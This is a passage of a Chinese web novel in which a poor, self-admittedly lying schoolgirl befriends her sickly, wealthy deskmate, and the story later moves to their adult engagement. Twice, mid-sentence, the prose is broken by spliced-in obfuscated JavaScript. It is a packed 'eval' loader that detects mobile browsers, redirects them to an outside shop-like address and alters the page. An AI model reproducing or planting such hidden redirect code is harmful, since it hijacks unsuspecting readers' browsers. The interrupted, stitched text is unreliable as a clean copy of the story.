他显然没有被人伤害过，他就像一只没踩中过捕兽夹的傻狍子，遇到那种银光闪闪的东西，第一时间想的不是猎人暗中指着他的枪管子，而是赶紧去闻一闻、嗅一嗅，想和它交朋友。 他还对我说：“以后可以来我家玩。” 凭什么？你家，你家还有什么好的。这栋在富人区最好地段的别墅，举目望去，郁郁葱葱，被阳光和无数茂盛的植物包裹的温暖之家，就像我在小说里看到的，梦幻的，主角的家园。 我去过有钱人的家里做客，大平层，也见过。我不能表现得没见过世面一样，这也要问，那也要问，我默默记下所有没接触过的人或者事物，然后在网上认识它们。下一次，我就可以编造出自己也拥有或者类似拥有的谎言。我会用打车起步价坐到地铁，然后转城郊的工业区。 我的虚荣。 我的玩物。 我尽量圆好每一个谎言，让它像真的一样，可有的人出生就在罗马。我因此更嫉妒黎玉钟了，他让我留下来，在家里吃晚饭。他家真有厨师做饭啊！我没必要状作波澜不惊，因为他既然知道了我困乏的家境。我一直待在厨房门口，一眨不眨地看那位大腹便便的米其林厨师忙活。 “一会儿饭就做好了。”姥姥招呼我，她拿出一套干净的衣服让我换上。眼尖如我，一眼就看出是某个奢牌的经典款。黎玉钟迟疑了片刻，问那是不是他的旧衣服，会不会尺寸太小。 他忽略了自己快一米八的身高，我一米六五，瘦到鼻梁骨之间有两根血管暴出来。姥姥说家里只有这些我能穿的衣服，我随口问家里其他人呢，黎玉钟的父母常年定居国外，夫妻两人是华侨，黎玉钟却在国内读书。是因为他初中之前在国外受了些创伤，老人家用的是“创伤”。 和他的病有关吗？那个咳起来喘起来特别可怜的病。我当然蹙着眉头说怎么会发生这样的事，但我心底想的却是，因为这个，他活得没那么美满了，看来命运也不是什么都给他，真好。 这个话题没有过多深入，我去洗澡了。黎玉钟引我的路，他们家可真大啊，走进去就像迷宫一样，会迷路。如果能住进这样的家，让我老子再被关进去一次我也愿意，什么我都愿意了。 他脸上红扑扑的，很有光彩，刻意放缓脚步，等我好奇地打量完他家楼梯间的那几幅画。他张了张嘴，想要向我介绍，但最终又默默地闭上。他认为我还讨厌他。他没有施予者的气魄。 他应该把骄傲摆在他那张清秀的脸上，他但凡想对我说什么，命令我用怎样的态度奉承，我又不是不会照做，这就是同龄人社交的潜规则。更何况，是他施舍了我，他怎么还瞻前顾后？ 我说：“对不起，之前晚自习那事，你就当我没有说过。我当时也心情不好，说话没过脑子。” 他在高我几个台阶的地方，听到我说的话，第一时间不是回答，而是走到和我持平的地方，好让我平视他。我的心被轻轻牵扯一下，多心细才会注意到这个细节，他是比我敏感的人。 “没关系，”他说，“你不用因为这个就道歉。我当时也没考虑你的情绪，我没有不让你给我起绰号，只是不太喜欢别人也跟着笑。”他顿了顿，“其实他们……我只是，不觉得很自在。” 他一说话，我就知道，能顺着我的节奏走。我轻快地说：“我明白的，毕竟我们说话比较多，又坐在一起，有些事小范围地笑一下就行了，让不熟的人听到，那样说你，肯定会冒犯到。” 他松了口气。“嗯。” 善良。 真好啊。 这样难能可贵的品质，竟然出现在他身上。我又百无聊赖地想，如果是一个家里没有钱的、脸没有他那么干净的男生，善良，只会是乏善可陈的自我安慰，毕竟总比什么都没有的好。 我又很窃喜，有了掌控他人的实质。黎玉钟这样一个初看很平庸，后来发现很美好的人，如果让别人只要了，他肯定会受到更多追捧，到时候，他就不会再像现在这样渴望和我打交道。 尤其是在发现我的真面目后。 他带我到他常用的那个卫生间，里面都是他的洗浴用品。在关上的门后，我平静地褪下衣物，站在一掰开就有热水的淋浴头下面。同龄男生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808381|190758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的洗发水，薄荷和茉莉糅杂，清新淡雅的香气。 停留在我的发间。 我没有刻意去记住那抹味道，只是每次想起他，不免伴随着这股有点像女生身上才会散发出的香气。洗完出来，他在隔壁的书房里，听到动静走过来，“药箱我拿上来了，你上点药吧。” “好。”我说。其实我可珍重了，我的脸蛋，是我拥有的最拿得出手的东西，所以在镜子面前，我左看右看了好久，对嘴角那块肿胀的皮肤犯愁。下次我老子再打我的脸，我和他玩命。 我真的会玩命的。 黎玉钟又把我带回书房里，干净得能反光的黄花梨平书桌面上，那几样，碘酒，棉签，消肿药膏，整齐得摆放，就像小时候玩的家家酒游戏。我真的有点想笑，走过去，坐在椅子上。 “不是要上药吗？”我朝他露出带伤的那半张脸，心里挺得意。想到我洗澡的这二十几分钟里，他小心翼翼地摆放这些，为了我，惦记着我的伤口。谁会讨厌我，准确的说，我的脸蛋？ 他问：“……可以吗？” 他很注意和异性之间的分寸，而且，很尊重我。有钱人的家教真像那么一回事。我对异性的礼节出于伪装和引诱，他是纯粹的礼貌。有时候写卷子，我碰到他的手，他却和我说抱歉。 “我们是朋友吗？”我问。 我望向他，让灯光完好地落在我的侧脸上，嘴角轻轻提起。他如果被晃了神，我当然也丝毫不意外，他不是第一个。可怜的，他一定很少和女孩打交道吧，更别提有女孩对他亲近了。 当然，他一定只会说“是”，所以我赶紧说：“如果要做朋友的话，就不要那么见外了，不要动不动就说‘对不起’‘可以吗’，朋友之间没什么不可以的，如果不可以，我会跟你直说。” 他就说知道了，拿起一根沾了碘酒的棉签替我上药。他的动作，很轻柔，像小孩子对待受伤的动物。我没指望在男人身上找救赎，我老子小时候说不定也有呵护小鸡小鸭小狗的时候，现在就打女人，打跑女人。他没打我是因为我还算顺眼，有那张脸顶着，不然早被他打死了。 他问我：“你爸之前打过你吗？” 我说：“没打过。” “那为什么这次对你动手？” “不知道，不熟吧。” “为什么不熟？”他又问。 我在说与不说之间游移。如果我说了，他就是唯一一个知道的人，我不说，他也是唯一一个知道我怀揣着谎言对待他的人。我产生自毁的想法：他如果跟别人说，我就让他发病死掉！ 我说：“我爸脑子有点问题，早年喝酒喝坏了，在工地上和工友互砍，结果对面死了他没死，被关了十年。我妈怕他出狱之后还打她，我上初中她就改嫁了，只是给我学费和生活费花。” 他的眉头蹙起来。 “他今年年初出狱了，就还住在我妈租的那个房子里，城郊区。我和他不熟，他要么到处喝酒，要么在他房间里睡觉。饭我们都是各买各的，抬头，低头，不会见面。他要来我家长会，我肯定不能让。他那个邋遢样，穿成那样，说话全部都是，很粗俗，他还杀过人，那样子。” “你有想过跟你妈吗？” “我没处跟。她都改嫁了，我跟什么？我不能那样，她还给我钱，我还跟她，不就忘恩负义？” “可是她有义务照顾你，”黎玉钟很认真的说。呵，傻子，不是你那样算的。你一天到晚呆在这个仙境一样的城堡里，你知道什么？被人嫌弃的那种态度，即便再微妙，也感觉的出来。 我因为喜欢我妈，我是挺爱她，要不然我这么自私的人，为了自己好，能撒谎、两面三刀，我要容忍一些背后的不满和谩骂，容易多了。我为什么没那么做呢？我对每一个我爱的人，我珍重的人 ，还有一点没用的自尊。为了这点自尊，为了在她们的心目中我能好看一点。 我会不惜一切的。 所以，就博得了黎玉钟的怜悯，他盯着我好久，沉默，直到姥姥上来喊我们吃饭。我叫他不要说出去，不要说给别人听。他当然不会，但是如果他会，我就带动班上所有的人孤立他。 别让我失望，黎玉钟。 你不会的。 7. Chapter 7 那个下暴雨的家长会之后，我和黎玉钟的关系变好了不少。我是乘他家的专车回去的，也就是在要分别的时候，他突然对我说：“李君同，以后要是家里呆不下去，可以到我家里来。” “谢谢。”我说。 我知道他没什么恶意，他完全出于怜悯才这样做。可他分明在折辱我的自尊心，他明知道我这么好面子的人，不可能真的避到他家里去，也没人愿意不厌其烦地招待一个陌生的客人。 算了，我不能那么强人所难， 我明知道黎玉钟不会想那么多。 从他家回来的路上，司机和我说，黎玉钟平时没什么玩伴，很难看见他对一个人那么关心。他恐怕以为我是那种会被三言两语哄开心的小孩，我才不陪地主家的傻儿子玩，再说，关心，一个正常人看到自己的同桌被她家长在小巷子里扇耳光，也很难不关心。那是没用的关心。 没用的关心，并不能改变我的现状，那算什么关心呢？因为虚假的关心我也常常释放出来，那没什么用处呢，除了心理上能让人短暂的好受点，但之后呢，日子难道只靠关心维持下去？ 如果不是能药到病除的善意，从一开始就不要给予。我也，我也……从一开始就不会接受。 “李君同。”黎玉钟喊我。 我的卷子，顺手接过，134分。不错的成绩了，我从不在学习上懈怠自己，学习就是最高效的事情，只要记和背，做过的题就在脑海里磨出印子。世界上能光靠努力就能做成的事情。 实在太少了。 “这题你多少分？”我抢过黎玉钟的卷子，二话不说对比答案，难怪，答得比我全，因为我总是漏掉这一点。我只好拿笔敲打自己的额头，修辞手法，一定要写。黎玉钟认真地看着我。 “怎么了？”我问。 “为什么要拿笔敲脑袋？” 我笑了笑，“让自己记住啊。” 他竟然轻轻地歪了歪脑袋，像不理解人类做出奇怪举动的小猫，他奶瓷的肌肤，被日光照射得晶莹剔透。他是养尊处优的白，我是为了白而避开太阳，用防晒霜和身体乳伪装出的苍白。 真羡慕啊，我漫不经心地想。 人要多单纯才能像小动物一样。 他带着那样天真，让人忍不住想打击的天真，也忐忑地笑了一下，说：“是题目让你记不住，你为什么要用笔敲自己的脑袋吗？”他敲了敲题目，“应该敲题目才对，那样脑袋就不痛了。” 就是要痛啊。不然才不会记住。 我没说，我真懒得说。疼痛的效力那么强大，我老子的一个巴掌，我的脸现在还抽抽的疼。他没被人揍过吧，哼。我对他偶尔的蠢只能容忍，并且心想，为什么他能一直保持这份天真？ 他就像童话里的小公主。 要是我过着黎玉钟的人生该多好，他成绩也好，只是少了些朋友，现在不是有我了么？期末考试刚结束，补课通知就发了下来，就像狗闻着屎来了，很快。班上顿时响起一片哀嚎声。 我却觉得很高兴，我是爱上学胜过放假的。在学校里，我起码是个受人瞩目的角色，偶尔能收到男生大胆甜蜜的示好，维持好这个人设，就能经受大家艳羡的目光，再故作谦虚地表示我的平庸。在家里，我是个臭蟑螂，我老子不待见我，我是那种在外面闲逛也不会回家的人。 好在考试结束到补课，还有两三天的假，这个假是给一般孩子浮上水面喘口气的，却是把我的头摁进水里，我办的住宿，我才不想回家。后桌的同学在相互邀请去家里玩，我在等待。 今天也是黎玉钟的生日。 虽然我送了他生日礼物，一个好用的试卷收纳夹，但是他会邀请我去他家里做客吗？我隐隐约约期待着，我不能主动开口，我感觉屁股上有火苗在烧，快放学了！黎玉钟！你识相点！ 我余光瞥向他，悄咪咪的，像一只洞穴里的小鼹鼠。我看到他捏得紧紧的笔杆，我看到他那犹豫不决的嘴唇，抿了抿，又松开，快啊，我恨不得用他的嘴说出来。他用闪烁的眼神： “放学后，你要不要去我家……” 我立刻：“好！！” “吃生日蛋糕。”他追上后半句。 我很快就意识到自己答得太快了，好像存心就等那么一句，真好笑，真丢脸。我操！真丢脸！羞耻感后知后觉地席卷了我，我的脸烫得不正常。好在黎玉钟并没有察觉，他低头收拾书包。 不用回家，还能和人玩，蹭一顿饭，就算这个人是傻子，我也愿意！黎玉钟真的不是傻子，他是我的同桌，是个善良的好人！我跟他上了车，第二次去黎玉钟家，我不狼狈，很光彩。 我可是受到了正规的邀请！ 他姥姥不在家。 我问为什么，黎玉钟的神情暗淡了一些：“今天也是我表叔的忌日，姥姥要回老家，和表叔一家人扫墓，过几天才回来。”我只好共情地说了句节哀，但我又说，今天可是你的生日呀。 “没关系。”他说，“平常的日子而已。” 他有这个观念，还准备了生日蛋糕，他就不觉得是平常的日子。我顿时有点尴尬得慌，我不会是第一个去他家过生日的人吧？我就这么问了。还真是。我心想，我可不是真心实意的。 我纯粹是因为不想回家。 正好有点空闲的时间。 正好， 还是交情不错的朋友。 朋友？ 我真的把黎玉钟当作朋友吗，还是他单方面的。到现在我还没个定论。但我厚着脸皮吃他的生日蛋糕，这准没错，而且他也是我第一个单独庆生的异性呢！该感到荣幸的是他才对啊！ “许个愿望吧。”我说。 熄灭的灯，烛光盈满了空旷的餐厅，佣人在客厅里，没有打扰两个孩子。我望着黎玉钟，他紧紧地闭上眼睛，脸上泛着满足的红晕。我突然生出一股烦躁，和厌恶，我为自己的恶毒而感到耻辱，但我又忍不住想，他既然那么幸福了，什么都有了，许点和我有关系的愿望吧。 把他的好运也分享给我。 许完了愿，我立刻问他许的是什么愿望，他说，希望明年的今天，还可以一起跟我过生日。我还笑嘻嘻地大喊愿望说出来就不灵啦，随后意识到，他真的许和我有关的愿，以这种形式。 我怔愣住。 他望着我：“你会不让愿望成真吗？” 我会吗？我问自己。他的眼睛澄澈而圆睁，烛火倒影在其中，明亮剔透得好像一颗玻璃珠子，简直是小鹿的眼睛。他为什么对我释放那么多善意，仅仅因为我是他的同桌？我仍旧不知道我有什么好，那些被我的谎言吸引的人，最终也会对我祛魅。可我没有隐瞒黎玉钟什么秘密。 我或许可以说轻飘飘的谎， 但我又没办法欺瞒自己的内心。 所以我只好说： “我不能保证。” 他的神情变得有些落寞。我解释说，明年的这个时候，我可能在准备艺考，要去机构培训，所以不能保证。我又说，如果我有时间的话。他的眼睛倏然亮起来，说：“我可以去找你。” 好吧。 我又说：“既然浪费掉你一个愿望，那我就帮你达成一个，你有没有什么我力所能及的愿望？” 他想了想，“看恐怖片。” “恐怖片？”我不由得重复一遍。 黎玉钟顿时又露出那副胆怯的神情。一旦是壮着胆子才能做的事，之前我知道的，只有社交，还有他请求我批准他羽毛球赛的名额时，他的脸和耳根子会红，语气也变得磕磕绊绊起来。 “我从小就很想看，但是因为我的病，可能有风险，家里人才一直不让，害怕出什么意外。” 我问：“会像上次一样吗，咳嗽？” “不情绪激动的话，应该不会。”和我想的一样，尽管没有问过他的病症，但我猜测也是过呼吸症，比起和身体，那更像是和心理有关的疾病。我说：“实在害怕的话，干嘛要看呢？” “就是……想。”他这时候又表现得很坚定了，“我列了一些计划，就是，一定要去达成的。” 哦，我知道，这段时间很流行那种，人死之前一定要做的一百条计划。只是，很多都是毫无意义的琐事。做了，然后呢，会感到充实吗？我仔细地审视他：“如果没达成，会怎么样？” 他沉默片刻，“就想办法去达成。” 我感觉他有点轴里轴气了：“要是一辈子也达成不了，或者达成了就会死的事情呢？你明明就没办法控制自己的病，你无法保证什么时候会复发，为什么还要承担这样或那样的风险？” 他说，就是想。 我不想担责任，说实话，他要是看恐怖电影出了什么意外，那我不就是案发现场的第一人吗？我很为难，但是最后又答应了他，原因是我问他，我陪你看你就不害怕了吗，而他回答我： “两个人一起，就不会很害怕了。” 是的。 我也是。 有些事情，有的时候，要面对的挫折。一个人的话，真的很怕撑不下去了，我心底能清楚地感受到，黎玉钟给我带来的一些新变化，我头一次以真实的自己去交，最贴切真实的朋友。 “那就试试吧。”我勉为其难地道。 “但是，”我又指着他的鼻子，“你一旦有任何心理不适，或者身体上的，立刻停下！听到没？” 知道了，他乖乖地说。 黎玉钟给我的感觉，比起同龄人，更像是我的弟弟，或者妹妹，当然了，如果我有那玩意的话。嗯，还是妹妹吧，是那种有淡淡香气的干净东西。弟弟是没有这么乖巧这么通人性的。 我们就看恐怖片，在他的卧室里。床以外的地方全部都铺上了柔软的地毯，他说，一个人在家的时候，他也很少待在别的地方，只有卧室。这种人通常缺乏安全感，把自己的房间打扮得柔软温馨的人。一开始是开灯看的，后来嫌不够刺激，就把灯关上，中途我去上了个厕所。 我去上了个厕所，我是放心的，因为从头到尾黎玉钟的情绪非常稳定，除了有鬼突脸的时候。他往往会小幅度地轻呼一声，啊，揪住身边的什么东西，有时候，是我的手臂，他用作遮挡。 他靠近的时候，身上有薄荷与茉莉的香味，他洗发水的味道。我用过，用过一次，后来官网查价格，虽然是很好闻，但也把我劝退了。另一方面，我觉得那就是属于他黎玉钟的味道。 而且，好吧，挺可爱的，我不知道怎么说。我曾经嫌弃黎玉钟不够男生，胆怯，没什么气魄，但是现在我觉得，和这种人打交道格外有意思。其实我也害怕鬼，但我看到他反应那样好，就顾不上害怕，反而光顾着调侃他去了——你怎么这么胆小啊，黎玉钟，好了，没有鬼了。 “真的吗？”他揪着我的袖子问。 “真的，”我说，“好啦，没事啦。” 然后，他就发现鬼还没有离开，“你、你别骗我！”他恼怒地说，即便生气，也没什么攻击力。想到这个，我蹑手蹑脚而轻快地回到卧室，他还看得聚精会神，我等待鬼下一次朝他突脸。 机会到了。 “嘿。”我突然拍他的肩膀。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808382|190758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“啊！！”他果然惊叫了一声。先是躲开我，然后，黑暗中，看清是我，大力地抓住我的手。我也吓了一跳，不是因为鬼，而是他实在是太用力了，我的手背一阵刺痛，我喊，黎玉钟。 他惊惧地捏着我的手。 在忽闪的、眩目的惨白灯光中，我看到他的脸色越来越红，胸膛剧烈起伏，呈现出难以呼吸的样子。我意识到不对，赶紧抬手把电影给关了，不叫他看到那骇人的、血肉横飞的画面，他依旧抓着我的手。好像那是唯一的救命稻草，我也慌了，要哭出来，我说，你呼吸，呼吸。 他艰难地点头，一边咳嗽，一边抬起我的手，捂在他的口鼻上。我的心快要跳出嗓子眼了！ 我一手扶住他的脸，一手陪同他自己的手，帮助他呼吸。呼吸，呼吸，黎玉钟，注意节奏。 呼吸。 呼。 吸。 我忘了我还说了什么，总之，是缓慢的，伴随着他呼吸的节奏，一边拍着他的背，我一边说，对了，真好，真乖，对。他渐渐平复了，身体也松懈下来，像一只巨大的玩偶熊陷进了我。 我连指尖都在颤抖。 我的手还停留在他的脸上，和他的手之间。一阵阵的闷咳濡湿了它。我的指缝也是湿漉漉的，粘腻的，有他的口水，还有汗液，他仍旧借助我的手，呼吸，还有温暖的水雾不断扑在掌心。 我不敢怠慢，“你还好吧？” 他眯着眼，缓慢点头。 不那么容易，也许，他的眼眸中盛满了艰难的痛苦，像一片迷雾中的沼泽。放映机投影出的白光，朦胧地盖在他纤细的眼睫上，他的瞳膜上，像蛛丝。我从未感觉一个人能如此的脆弱。 我又问了一遍，“现在，还好吗？” 他依旧点头， 鼻尖蹭着我的手。 真可怜。我心想。我同情他什么？家境优渥，吃穿不愁。同情他一副让人怜爱的模样，学校不过是他的一个驿站，却是我要证明自己价值的地方。如果家真的好，我怎么会谎话连篇。 我在他趋于平缓的喘息中，缓缓松开他的脸颊，原来再薄的皮肤捏起来也是肉嘟嘟的。任由他潮红的脸躺在我的手中。我感觉刚才主宰了他，他既然那么脆弱，干嘛把自己交付给别人？ 不害怕受到伤害吗？ 他可能也孤独很久了，没有朋友，缺乏和人交际的经验，越封闭就越封闭。黎玉钟，别怕，你已经做出最正确的一步，就是选择了我。既然如此，我会勉为其难地帮你不再那么孤单。 他也许羞耻了，当然要，把脸埋在一个异性的手上，身体相拥，体温融洽。实在太亲密了。但对我来说，我并不把黎玉钟看成有可能产生爱情的异性，他太弱小了，并不配得上我。 我缓缓掰直他的脸，让他闪躲的视线和我对上。我问：“你现在，还有感觉哪里不舒服吗？” 他垂眼，抿紧了湿润的唇。 “黎玉钟？”我蹙眉。 他胆怯地问： “你会不会嫌弃我发病啊？” 我立刻。 “不会。” 我也没想到自己会答得那么快，就好像不假思索，我非要这样做一样。我有什么必须要和黎玉钟一起玩儿的理由吗？他唯一的缺点就是他脆弱的病，我唯一拥有的，恰好是一副百折不挠的身体。如果他有我的身体和心灵，他一定就完美了。我呢，我离美满的距离就是一个他。 他有点害羞，又诚恳而苦恼地笑起来。想必第一次被朋友接纳，他高兴坏了，他以后肯定会有其他的朋友，但第一个朋友给他的，永远是任何事的第一次。他在这个上面没有所托非人，我第一个真心实意交的朋友已经离我而去了，她感化我的壁垒，我展现丑恶，她却避之不及。 她说我谎话连篇。 可明明她让我说真话的。 想起那时候，她指着我的鼻子怒斥，我是低劣的人，虚假的。我没那么可恶啊，我只是撒了些无可厚非的小谎，什么我家很有钱，我学习不费吹灰之力……我又没有害人，又不霸凌。至此我还是觉得，我不后悔撒的那些谎，我享受到的一切都值得我的付出，哪怕殚精竭虑。 我也要活在美好的谎言里。 黎玉钟笑起来。真是好看，比他不笑的时候顺眼多了。他的脸又是红红的，晦暗的灯光下，像蒙了油彩的红苹果，他生日蛋糕正中心的那颗饱满莹润的樱桃，没错，进了我的肚子里。 变烫了。 有一瞬间，真实的我破土而出，真实的种子钻出那些谎言的土壤，我的心怦怦跳动，有点想告诉他，我究竟经历了什么，是怎样的人。因为他是知道我撒了谎，仍然愿意真诚以待的人。 很快，我替自己有这样的动容而感到羞耻。我的脸也红透了，是懊恼的。蠢死了，怎么可以因为这个就？我多容易被一点点善意感动呢？我的舌尖，我的食管，我的心我的五脏六腑，那颗樱桃经过的地方，全部都烫了起来，我感到那股谎言的魔力落到肚皮上，我夹紧双腿。 我在疼痛中醒来。 订婚的第二天，我在疼痛中醒来，在宿醉之中醒来，在缓慢地回忆着昨晚展开的那些事情，雪天是灰蒙蒙的，稀薄的日光，透过窗帘的窄缝，落在我的头顶，一小束尘埃像灵魂的飞升，我的身体却沉得要命。那熟悉的腹痛让我知道，我要洗床单了，可另一种缓慢的热痛折磨我。 我抬手摸额头。 还发烧了。 打开手机， 是黎玉钟的未接电话。 还有半小时前的短讯： 【开门】 8. Chapter 8 我下床，光着脚去开门。 我开了暖气，房间里既暖和又干燥，我的喉咙也很渴。一打开门，冷风灌了进来，黎玉钟用身体挡去了大半。我来不及思索，沙哑着嗓音问，什么事。他说：“给你打电话，没有接。” “我发烧了，”我说，“进来。” 说完，我才想起除了发烧的另一个症状。我还没换裤子，我尴尬地让他在客厅里坐一会儿。我背过身去，步子僵硬的迈，指望他没看见。等我换好衣服出来，桌上是热水，和布洛芬。 “你用卫生巾还是卫生棉条？” 他把水杯递给我，手指在屏幕上滑。 我说我家里都备着，不用他破费了。他于是放下手机，又递来药片，“先吃，再量个体温。” 我接过，吞下。胶囊划着喉咙下去，生疼，我赶紧拿一口温水压。也许是我的表情太难看，他关切地问，要不要去医院看看。我说不用，再疼也不过是等止疼药起效果的这半个小时。 我又问：“你打我电话，是有什么急事？” 他沉默片刻，“昨晚的事。” “池建生。”我想起来。事实上，关于这人我忘得差不多了，要不是他跑到我家楼底下来纠缠。好在我和他都不是咖位大的，没有狗仔跟拍，不过就算被曝出来，也掀起不了什么水花。今天早上池建生也给我打了电话，但是我删了备注，所以是未知号码，我以为是垃圾来电呢。 “他怎么了？”我问。 “本来要送派出所，最后被他经纪人接回去了。”黎玉钟依旧在看我。我让他别看，来例假的脸肯定肿得吓人，我没洗脸，没化妆，又很憔悴。他摇头，“是我没提前说，打扰你了。” 没事，我说，谢谢你来照看我。 “应该的。”他说。 这是我的公寓，我的领地，黎玉钟突然出现，密闭的空间里闯入了他的气息。他拼色围巾上还夹杂着几颗水珠，外面在下雪，我突然意识到，他不会在我楼底下等了半个小时，不会吧。 咚咚咚。 突然有人敲门。 “嗯？”我不知道是谁。 黎玉钟解释：“是我叫的锁匠。在你睡觉的时候我敲了你的家门，敲不开，我以为你出事了。” “……啊。”我尴尬地捂住脸，心想，我睡得那么死吗，真丢人，原来他以为我死在家里了。 黎玉钟开门应付，我去洗了把脸，做护肤，然后吃化妆台前的一堆维生素片。我的订婚戒指还在床头柜，那枚翠绿的宝石，鲜艳欲滴，可它不是长久属于我的，我把它安放在抽屉深处。 黎玉钟喊我，我走到客厅，他问我吃什么，他来点。我一点胃口也没有，生病了要吃清淡的，但我不想吃粥了。冰箱里有挂面条，他自觉地戴上我的围裙，下厨。我不知道他还会做饭。 他切菜，烧水煮面，动作很熟稔。我希望他没有为别人这样专心致志地下厨，我希望他是。虽然我没资格过问他的感情生活，但他的第一次要是给了别人，我还真有点，有点妒火中烧。 毕竟是我的暗恋对象。 而且，十几分钟前还出现在我滚烫的梦里。我自诩不是长情的人，但我既然有如此诚意了，对他有感觉了这么多年，他但凡感受得到一点点。算了，他别知道，我是死也不会让他知道。 我有感觉的人现在正背对着我，切葱，他知道我的口味，我们曾在同一屋檐下生活了一年，一整年，可以说得上我临死之前走马灯也要回忆上的、最美好的，最不希望它逝去的一年。 在我情窦初开的时节，我对黎玉钟的幻想，我对那个瘦弱的、连咳带喘的，有点不像男生的男生的幻想，带着薄荷清香，和茉莉的馥郁。他像一朵枝头不堪折的花，我觉得他无法消受。 我当然知道传统的情爱里，大多数是男性占主导，但黎玉钟那样脆弱的人，他要怎么搞嘛。我甚至做好了他阳痿的打算，反正爱一个人又不是只在床上，他其他方面好，我也算接受。 现在的黎玉钟呢？ 太正常了。 准确的说，太健康了。 他缺乏了那种——需要靠依赖什么才能行走下去的气质，当时是我，现在没有别人了。现在他那么独立，像个正常人，他甚至能处理我处理起来都棘手的事。这些年他变了，变了太多。 我以为他还会和从前一样，胆怯，遇到困难的事，露出办不到的悻悻的笑容，小心翼翼地，寻求我的认同感。我盯着他单薄的针织毛衣，宽阔的肩膀撑开它，我更喜欢以前溜肩的蠢样。 还有腰，少年的他，腰是白皙的，从衣服的下摆露出来时，精致而柔软，像一枝柳条。现在即便被围裙的带子束缚着，也能看出健身的痕迹。他俯下身洗手，手背的青筋狰狞地浮鼓着。 暴力美学。 我又想到他昨晚那一拳，结结实实的一拳，实打实的，皮肉里的闷响。想到黎玉钟顶着那么一张人畜无害的干净脸蛋，竟然也敢和别的男人干仗，我真意外。除此之外，浓厚的疑惑。其实我一直在等他先开口，他如果问我池建生的事，我就能反问他和池建生之间发生了什么。 但是他始终缄口。 清淡的青菜挂面做好了，端到客厅里吃。我租的房子八十来平，在市中心，一个人住足够，池建生来过夜就显得有点拥挤，他那么大个人，总觉得和我的空间不适配。我领地意识很强。 黎玉钟却很好地融入了这里。 他坐在沙发上，好像那里就是他该在的地方，他在厨房，又好像在自己的家。他要是对所有身边的人都这么自来熟，去过别人家，又这样那样，还像现在盯着我吃面，我真的会生气。 他一定因为我是他要好的朋友，曾经是，并且现在还持有婚约的关系。我纠结来，纠结去，找不到一个合适的理由去占有他，我想让他问我和池建生的事，也说不出口。我默默吃面。 门铃响起来。 这次是我叫的，我叫的房东。我不会换指纹锁的密码，之前池建生录过，分手就要删掉了，但我一直心大没有去管，我也以为池建生知道分寸，不会做那么冒失的事，比如上门讨说法。 还好他不是趁我在家里来问责的，不然，那还真有点难看。但是当着黎玉钟的面就不难堪吗？算了，黎玉钟比我更难堪，他还让我发现了大学时候他揍池建生，但为什么我一无所知呢？ 我纳闷着。 房东问我为什么删那个小帅哥的指纹，问我们是不是分手了，我说是。我让黎玉钟录指纹，房东又问这是不是我亲人，我说算是吧，这是我未婚夫。房东就沉默了，说，年轻人会玩。 黎玉钟的脸顿时红了。 我倒是无所谓，送别了房东，回到我家里，我和黎玉钟面面相觑。我突然想起今天是周一，他应该有班要上才对，他说请假了，又从公文包里翻出一份文件，“婚前协议，你看一下。” 哦，原来是为这事来，我接过，从头看到尾，没有问题，拿起笔签字，黎玉钟拿印给我捺。他很耐心地看着我做完这些，才开口：“你还病着，我把明天的领证推迟到三天后，可以吗？” 我笑了：“不是，我就是提一下领证的事，没有说立刻就要领！只是婚礼之前领比较稳妥。” 黎玉钟明显一滞： “那我……先取消？” “不用。”我忍住笑，“就周五吧。” 他很明显地松了口气，好像这是一件心惊胆战的事。我喜欢看他手足无措，而不是胸有成竹的样子。他问我要不要回床上躺着，我问他是不是要走了。几秒钟后，他说他在这里照顾我。 “我睡一觉就好了。”我说。 他颔首，“先看看会不会退烧。” 他在我家，我让他一切请便，我回床上躺着，看到床单上干涸的血迹，赶紧手忙脚乱扯下来，他帮我一起，可别了吧，我窘迫得只顾闷头卸床单。我要拿去卫生间洗，他拿过，说他来。 “你不能碰凉水。” 没那么金贵，我想说，但是某种自私的念头让我什么也没说，而是眼睁睁看着他拿着那东西。卫生间里很快就传出水声，我心想，这和情侣有什么区别？他做的那些事是池建生才做的。 我曾经发誓找一个完全区别于他的男朋友，在我大学的时候。任何有和他相似的地方都不行，脸，性格，身材，一点点都不行，所以我和池建生好上，他是院里最出名的，恰好我也是，顺其自然地进行社交，约会，确定关系。只是我没想到，我们之间的关系能维持这么多年。 我当然没有和池建生长相厮守的想法，尽管他符合我对男人的一切审美，但还是那句话，人是不能和自己相像的人走得太近的，否则就像照镜子。池建生每次为了感情而歇斯底里时，我总能想到我也是那样的人，只不过他外放出来，而我疯在骨子里。我疯的总是不着痕迹。 我故作清高。 故作大方。 维持那点尊严让我费劲了心力，圈里浮沉，我也没了气性，若说高中还有一点生来的倔，现在则是棱角被抹平了。我更圆滑，更小心翼翼，有很多话是这个年龄这个阶段的我说不出口的了，即便想，骄傲心也随着我的年华远去了。十年前的我，肯定笑话十年后的我如此落魄。 如此平庸，无人知晓。 我将新的床单铺好，黎玉钟也从卫生间走了出来。他的手里除了湿漉漉的床单，还拿了——别的东西！我像见了鬼，他拎着我被弄脏的布料！我说，喂！你！我一把抢过，你干嘛洗！ 黎玉钟说，看到在脏衣篓里，顺手就洗了，那是能顺手洗的东西吗？我自顾自去晾好，心里却止不住地咒骂。他除了帮我洗，会不会也帮别的女人洗过，黎玉钟！他脏了，不干净了！ “我不是故意的……” 